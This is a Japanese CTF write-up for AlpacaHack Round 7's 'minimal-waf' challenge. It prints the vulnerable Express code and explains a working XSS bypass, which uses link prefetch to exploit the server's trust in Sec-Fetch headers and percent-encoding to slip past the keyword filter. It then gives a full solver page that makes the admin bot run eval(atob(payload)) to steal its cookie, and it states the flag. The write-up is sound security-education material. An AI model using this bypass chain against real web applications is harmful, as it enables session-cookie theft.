1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

1日1CTFAdvent Calendar 2024

Day 9

minimal-waf (AlpacaHack Round 7) WriteUp

Posted at

はじめに

この記事は 1日1CTF Advent Calendar 2024 の 9 日目の記事です。

問題

minimal-waf (問題出典: AlpacaHack Round 7)

Here is a minimal WAF! Note: Don't forget that the target host is localhost from the admin bot.

作問者 WriteUp も見ると理解が深まるかも。

問題概要

index.js
import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
  <h1>HTML Viewer</h1>
  <form action="/view">
    <p><textarea name="html"></textarea></p>
    <div style="text-align: center">
      <input type="submit" value="Render">
    </div>
  </form>
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);

script, src, on, html, data, & を大文字小文字の区別なしで全て含まないような HTML をレンダリングしてくれるサービス。
ただし、Sec-Fetch-Site ヘッダが same-origin に設定されているかつ Sec-Fetch-Dest ヘッダが document でない場合はこの制限を無視できる。
flag は admin bot の cookie にあるので、XSS が必要そう。

考察

Sec-Fetch-Site, Sec-Fetch-Dest について調べてみる。( 参考1 , 参考2 )
Sec-Fetch-Site はリクエストがとこから生まれたのか、Sec-Fetch-Dest はそのリクエストのデータが何に使われるのかを示していて、ブラウザが勝手に入れてくれるらしい。

制限された文字を眺めていると、<link>href でパスを指定できるので、制限を回避できることを思いついた。

<link href="style.css" rel="stylesheet">

とはいえ css を入れられても嬉しくないので他に何ができるか調べてみる。

このページ によると、prefetch が使えるらしい。

<link href="/view?html=<script>eval(atob('<PAYLOAD>'))</script>" rel="prefetch" />

を読み込ませると、Sec-Fetch-Destempty となり制限を無視して XSS できる HTML が返ってくる。そのまま別タブなどで /view?html=<script>+eval(atob('<PAYLOAD>'))</script> を読み込むと、prefetch したデータがそのまま読み込まれるので、XSS を発動できる。

実際は、一旦 http://localhost:3000/view?html=<payload> 上で <link> を表示するために一回は制限を普通に回避しなければならないので、 <link> 内部の URL のエスケープが必要。下のような感じ。

<link href="/view?%68tml=<%73cript>eval(atob('<PAYLOAD>'))</%73cript>" rel="prefetch" />

solver

以下の html ファイルをどこかにホストして、admin に踏ませればいい。
<PAYLOAD> には base64 した javascript を書いておく。

<script>
    const sleep = (milliseconds) => {
        return new Promise(resolve => setTimeout(resolve, milliseconds))
    }
    async function solve() {
        let w = window.open("http://localhost:3000/view?html=%3Clink+href%3D%22%2Fview%3F%2568tml%3D%3C%2573cript%3Eeval%28atob%28%27<PAYLOAD>%27%29%29%3C%2F%2573cript%3E%22+rel%3D%22prefetch%22+%2F%3E", "_blank");
        await sleep(1000);
        let w2 = window.open("http://localhost:3000/view?%68tml=%3C%73cript%3Eeval(atob(%27<PAYLOAD>%27))%3C/%73cript%3E", "_blank");
    }
    solve();
</script>

flag: Alpaca{WafWafPanic}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?